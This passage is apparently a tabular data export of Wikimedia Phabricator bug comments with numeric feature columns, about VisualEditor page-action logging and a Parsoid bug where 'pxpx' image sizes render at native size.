See e.g. #GrowthExperiments-NewcomerTasks or #GuidedTour instead nowadays for related use cases.",,,1703380210,,PHID-USER-hgn5uw2jafgjgfvxibhh,True,,,PHID-TASK-udzfkpaotefzeteimh7e,task_subcomment,,True,c1,3,True,,,546,,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,20.0,0.0,5.0,2.0,0.0,0.0,0.0,7.0,5.0,0.0,0.0,0.0,0.0,9.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.045454545454546,0.8636363636363636,"#MediaWiki-extensions-GettingStarted has been removed from Wikimedia wikis and is getting archived per CODE. Thus declining this task to reflect reality.

See e.g. #GrowthExperiments-NewcomerTasks or #GuidedTour instead nowadays for related use cases."
402798,Page actions are wrong for VisualEditor,">>! In T53634#991958, @Halfak wrote:
> @aklapper  Hmm..  This should not be assigned to me.  I'm not sure how that happen.  

See https://old-bugzilla.wikimedia.org/show_bug.cgi?id=51634 - it was assigned to you in 02/2014.

Unassigning (you can also do that) and lowering priority here.",,,1422061964,,PHID-USER-hgn5uw2jafgjgfvxibhh,True,,,PHID-TASK-udzfkpaotefzeteimh7e,task_subcomment,,True,c1,3,True,,,81,,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,3.0,3.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,10.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,17.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,10.0,7.0,7.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.5517241379310347,0.8620689655172413,"QUOTE
QUOTE

See URL - it was assigned to you in 02/2014.

Unassigning (you can also do that) and lowering priority here."
402703,Page actions are wrong for VisualEditor,@aklapper  Hmm..  This should not be assigned to me.  I'm not sure how that happen.  ,,,1422052247,,PHID-USER-u64h73gx226teqcym3r5,True,,,PHID-TASK-udzfkpaotefzeteimh7e,task_subcomment,,True,c1,3,False,,,81,,0.0,0.0,0.0,4.0,9.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,9.0,0.0,13.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,17.0,4.0,0.0,9.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,9.0,4.0,4.0,0.0,0.0,0.0,9.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,3.130434782608696,0.782608695652174,SCREEN_NAME  Hmm..  This should not be assigned to me.  I'm not sure how that happen.  
401803,Page actions are wrong for VisualEditor,">>! In T53634#544033, @Mattflaschen wrote:
> getPageSchemaAction has been removed entirely, so I'm tempted to close this.  However, we will need to revisit if we want to track something like ""edit impressions"" again.

@Halfak: Still working on this? If yes what's the progress, if no should the assignee be reset and is ""high priority"" still correct here?",,,1421788770,,PHID-USER-hgn5uw2jafgjgfvxibhh,True,,,PHID-TASK-udzfkpaotefzeteimh7e,task_subcomment,,True,c1,3,True,,,81,,0.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,11.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,14.0,6.0,3.0,11.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,9.0,3.0,6.0,6.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,3.7142857142857144,0.8571428571428571,"QUOTE
QUOTE
SCREEN_NAME: Still working on this? If yes what's the progress, if no should the assignee be reset and is ""high priority"" still correct here?"
235026,Page actions are wrong for VisualEditor,As part of the new VE tests we will need to have reliable instrumentation (adding Nuria and James to make sure they are aware of this change).,,,1392911323,,PHID-USER-qb5aoo443n6fezsozhv4,True,,,PHID-TASK-udzfkpaotefzeteimh7e,task_subcomment,,True,c1,3,False,,,33,,0.0,0.0,0.0,0.0,0.0,13.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,17.0,0.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,13.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,13.0,0.0,3.0,7.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,7.0,17.0,7.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.8666666666666667,0.9333333333333333,As part of the new VE tests we will need to have reliable instrumentation (adding Nuria and James to make sure they are aware of this change).
235018,Page actions are wrong for VisualEditor,"getPageSchemaAction has been removed entirely, so I'm tempted to close this.  However, we will need to revisit if we want to track something like ""edit impressions"" again.",,,1392854320,,PHID-USER-dw53c5cb2qfhyemej57o,True,,,PHID-TASK-udzfkpaotefzeteimh7e,task_subcomment,,True,c1,3,True,,,33,,0.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,3.0,0.0,0.0,0.0,9.0,0.0,11.0,14.0,3.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,11.0,14.0,0.0,0.0,6.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.142857142857143,0.8285714285714286,"getPageSchemaAction has been removed entirely, so I'm tempted to close this.  However, we will need to revisit if we want to track something like ""edit impressions"" again."
235011,Page actions are wrong for VisualEditor,"When this is fixed, we should also try to put back page-save-attempt and page-save-success for both (we might do it just for wikitext again in the meantime).",,,1382567111,,PHID-USER-dw53c5cb2qfhyemej57o,True,,,PHID-TASK-udzfkpaotefzeteimh7e,task_subcomment,,True,c1,3,True,,,16,,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,5.0,0.0,10.0,13.0,0.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,3.0,3.0,3.0,8.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,8.0,13.0,0.0,0.0,0.0,0.0,8.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.358974358974359,0.8205128205128205,"When this is fixed, we should also try to put back page-save-attempt and page-save-success for both (we might do it just for wikitext again in the meantime)."
235005,Page actions are wrong for VisualEditor,"Yes, good catch.  VE doesn't touch wgPostEdit, which we're using, at all.",,,1374191192,,PHID-USER-dw53c5cb2qfhyemej57o,True,,,PHID-TASK-udzfkpaotefzeteimh7e,task_subcomment,,True,c1,3,True,,,2,,5.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,5.0,0.0,15.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,5.0,5.0,5.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,3.1,0.85,"Yes, good catch.  VE doesn't touch wgPostEdit, which we're using, at all."
234999,Page actions are wrong for VisualEditor,"**swalling** wrote:

Would this impact page-save-success logging for VE?",,,1374191007,,PHID-USER-ynivjflmc2dcl6w5ut5v,True,,,PHID-TASK-udzfkpaotefzeteimh7e,task_subcomment,,True,c1,3,False,,,2,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,10.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,3.25,0.8,"**swalling** wrote:

Would this impact page-save-success logging for VE?"
53628,Images specified with size foopxpx render at native size,"If a stub template includes an image size declaration that includes ""px"" then that image is shown at native resolution in the editor.

This was observed with [[Template:Cornwall-stub]] which originally had the code:
{{asbox
| image     = Flag of Cornwall.svg
| pix       = 30px
| subject   = [[Cornwall]]
| category  = Cornwall stubs
| name      = Template:Cornwall-stub
}}

When the ""pix"" parameter was changed to just ""30"" [https://en.wikipedia.org/w/index.php?title=Template:Cornwall-stub&diff=564819917&oldid=547286019] as was used by e.g. [[Template:Nigeria-stub]] the image size was displayed correctly. The icon has been rendering at correct size when rendered for reading, presumably since [https://en.wikipedia.org/w/index.php?title=Template:Cornwall-stub&diff=next&oldid=235904748 2009]. 

Interestingly it renders as intended in VE when the template is initially placed, but does on every subsequent time it's opened in VE.

Feel free to use [[User:Thryduulf/stubtemplate]] for testing (I'll leave it up at least until this bug is closed) as I have altered the actual Cornwall-stub template.

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=51826",Medium,50.0,1374171240,1393438887.0,PHID-USER-ysftv67jxeaxdwcakvwo,False,,False,PHID-TASK-7uebrq6s5hgkckkrqkv5,task_description,resolved,True,c1,3,False,False,False,2,,0.3333333333333333,0.0,0.0,2.3333333333333335,0.0,3.3333333333333335,0.0,0.0,0.0,0.3333333333333333,2.3333333333333335,0.3333333333333333,0.0,0.0,0.0,0.6666666666666666,0.0,4.333333333333333,8.0,0.0,0.3333333333333333,0.0,0.3333333333333333,0.0,1.6666666666666667,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,4.0,1.3333333333333333,1.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.3333333333333333,0.0,0.0,0.6666666666666666,1.3333333333333333,0.3333333333333333,0.0,0.0,0.3333333333333333,0.0,14.0,0.3333333333333333,0.6666666666666666,0.3333333333333333,0.3333333333333333,0.0,0.0,0.0,0.6666666666666666,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,0.0,0.0,0.6666666666666666,0.0,3.0,2.6666666666666665,11.0,1.6666666666666667,0.3333333333333333,5.0,0.0,0.0,0.0,0.0,1.6666666666666667,0.0,0.6666666666666666,0.0,2.0,8.0,6.0,0.0,2.0,0.0,2.0,0.0,1.6666666666666667,0.6666666666666666,0.0,0.3333333333333333,0.0,0.3333333333333333,3.6666666666666665,3.5427563914193354,0.6965422666274854,"If a stub template includes an image size declaration that includes ""px"" then that image is shown at native resolution in the editor.

This was observed with [[Template:Cornwall-stub]] which originally had the code:
{{asbox
| image     = Flag of Cornwall.svg
| pix       = 30px
| subject   = [[Cornwall]]
| category  = Cornwall stubs
| name      = Template:Cornwall-stub
}}

When the ""pix"" parameter was changed to just ""30"" [URL as was used by e.g. [[Template:Nigeria-stub]] the image size was displayed correctly. The icon has been rendering at correct size when rendered for reading, presumably since [URL 2009]. 

Interestingly it renders as intended in VE when the template is initially placed, but does on every subsequent time it's opened in VE.

Feel free to use [[User:Thryduulf/stubtemplate]] for testing (I'll leave it up at least until this bug is closed) as I have altered the actual Cornwall-stub template.

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
URL"
2416201,Images specified with size foopxpx render at native size,"Uses of this ""trailing pxpx"" feature are now tracked, see T207032 and T15500, and this (kind of) feature will probably be removed in the future.",,,1726475742,,PHID-USER-povcbbfr2b6v4te3anc7,False,,,PHID-TASK-7uebrq6s5hgkckkrqkv5,task_subcomment,,True,c1,3,False,,,585,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,9.0,0.0,6.0,9.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.75,0.8125,"Uses of this ""trailing pxpx"" feature are now tracked, see T207032 and T15500, and this (kind of) feature will probably be removed in the future."
2402140,Images specified with size foopxpx render at native size,"Uses of this ""leading pxpx"" feature are now tracked, see T207032 and T15500, and this (kind of) feature will probably be removed in the future.",,,1724605148,,PHID-USER-povcbbfr2b6v4te3anc7,False,,,PHID-TASK-7uebrq6s5hgkckkrqkv5,task_subcomment,,True,c1,3,False,,,581,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,9.0,0.0,6.0,9.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.71875,0.8125,"Uses of this ""leading pxpx"" feature are now tracked, see T207032 and T15500, and this (kind of) feature will probably be removed in the future."
234705,Images specified with size foopxpx render at native size,"Change 114345 merged by jenkins-bot:
Support trailing 'pxpx' in image size options.

https://gerrit.wikimedia.org/r/114345",,,1392851785,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-7uebrq6s5hgkckkrqkv5,task_subcomment,,True,c1,3,False,,,33,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,10.0,14.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,4.0476190476190474,0.9523809523809523,"Change 114345 merged by jenkins-bot:
Support trailing 'pxpx' in image size options.

GERRIT_URL"
234698,Images specified with size foopxpx render at native size,"Change 114345 had a related patch set uploaded by Cscott:
Support trailing 'pxpx' in image size options.

https://gerrit.wikimedia.org/r/114345",,,1392846794,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-7uebrq6s5hgkckkrqkv5,task_subcomment,,True,c1,3,False,,,33,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,17.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,8.0,12.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,4.208333333333333,0.9583333333333334,"Change 114345 had a related patch set uploaded by Cscott:
Support trailing 'pxpx' in image size options.

GERRIT_URL"
234693,Images specified with size foopxpx render at native size,"(In reply to C. Scott Ananian from comment #8)
> Yes, 'pxpx' is actually a ""feature"".  See bug 13500.

groan!",,,1392846139,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-7uebrq6s5hgkckkrqkv5,task_subcomment,,True,c1,3,True,,,33,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,31.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,6.0,0.0,0.0,19.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.25,1.0,"(In reply to C. Scott Ananian from comment #8)
QUOTE

groan!"
234685,Images specified with size foopxpx render at native size,"Yes, 'pxpx' is actually a ""feature"".  See bug 13500.

Working on a fix...",,,1392845150,,PHID-USER-m2ezqyeb4uz67zq6bats,False,,,PHID-TASK-7uebrq6s5hgkckkrqkv5,task_subcomment,,True,c1,3,True,,,33,,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,4.0,13.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,4.0,4.0,4.0,0.0,0.0,4.0,4.0,0.0,17.0,0.0,0.0,0.0,0.0,9.0,0.0,4.0,0.0,0.0,0.0,2.6956521739130435,0.8260869565217391,"Yes, 'pxpx' is actually a ""feature"".  See bug 13500.

Working on a fix..."
234680,Images specified with size foopxpx render at native size,"Another concrete example:
http://parsoid.wmflabs.org/arwiki/%D9%85%D8%B7%D8%A7%D8%B1_%D8%B3%D9%8A%D8%B3%D9%8A%D9%85%D9%8A%D9%88%D8%AA?oldid=11661406

This bug increases a little bit the size of the offline dumps. I have estimated for example that on arwiki, ~200 pictures (calls) are impacted.

It seems that the PHP related code is the function parseWidthParam() in Parser.php (but this doesn't seems to support things lik ""$1px"".",,,1385033707,,PHID-USER-nwa6c3hm5nmv7ixrih4p,False,,,PHID-TASK-7uebrq6s5hgkckkrqkv5,task_subcomment,,True,c1,3,False,,,20,,0.0,0.0,0.0,1.0,1.0,4.0,1.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,1.0,10.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,1.0,1.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,3.0,16.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,7.0,3.0,10.0,3.0,1.0,12.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,3.0,10.0,7.0,0.0,3.0,0.0,3.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,3.8970588235294117,0.8088235294117647,"Another concrete example:
URL

This bug increases a little bit the size of the offline dumps. I have estimated for example that on arwiki, ~200 pictures (calls) are impacted.

It seems that the PHP related code is the function parseWidthParam() in Parser.php (but this doesn't seems to support things lik ""$1px""."
234676,Images specified with size foopxpx render at native size,*** Bug 54371 has been marked as a duplicate of this bug. ***,,,1380930193,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-7uebrq6s5hgkckkrqkv5,task_subcomment,,True,c1,3,False,,,13,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 54371 has been marked as a duplicate of this bug. ***
234672,Images specified with size foopxpx render at native size,"We are supporting localized option patterns. In this case we get something like $1px, which does not match 30pxpx. We need to investigate why this works in the PHP parser, but not in Parsoid.",,,1376614949,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-7uebrq6s5hgkckkrqkv5,task_subcomment,,True,c1,3,True,,,6,,0.0,2.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,2.0,8.0,12.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,12.0,2.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,12.0,2.0,2.0,10.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,8.0,12.0,5.0,0.0,0.0,0.0,8.0,0.0,5.0,0.0,0.0,2.0,0.0,0.0,0.0,3.95,0.825,"We are supporting localized option patterns. In this case we get something like $1px, which does not match 30pxpx. We need to investigate why this works in the PHP parser, but not in Parsoid."
234667,Images specified with size foopxpx render at native size,*** Bug 51826 has been marked as a duplicate of this bug. ***,,,1374548109,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-7uebrq6s5hgkckkrqkv5,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 51826 has been marked as a duplicate of this bug. ***
234663,Images specified with size foopxpx render at native size,"This happens on every infobox that uses
https://de.wikipedia.org/wiki/Datei:Kazakhstan_location_map.svg
e.g.
https://de.wikipedia.org/wiki/Balqasch?veaction=edit

Im seeing it on _some_ other SVG based location maps on German Wikipedia, but not many (1 in 15?)
https://de.wikipedia.org/wiki/Almaty?veaction=edit
https://de.wikipedia.org/wiki/Bosporus?veaction=edit

Other similar issues
https://de.wikipedia.org/wiki/Totes_Meer?veaction=edit
https://de.wikipedia.org/wiki/Zittauer_Gebirge?veaction=edit",,,1374544369,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-7uebrq6s5hgkckkrqkv5,task_subcomment,,True,c1,3,False,,,3,,6.0,0.0,0.0,0.0,2.0,10.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,12.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,23.0,0.0,2.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,8.0,12.0,2.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,3.1346153846153846,0.7115384615384616,"This happens on every infobox that uses
URL
e.g.
URL

Im seeing it on _some_ other SVG based location maps on German Wikipedia, but not many (1 in 15?)
URL
URL

Other similar issues
URL
URL"
234656,Images specified with size foopxpx render at native size,*** Bug 51845 has been marked as a duplicate of this bug. ***,,,1374544099,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-7uebrq6s5hgkckkrqkv5,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 51845 has been marked as a duplicate of this bug. ***
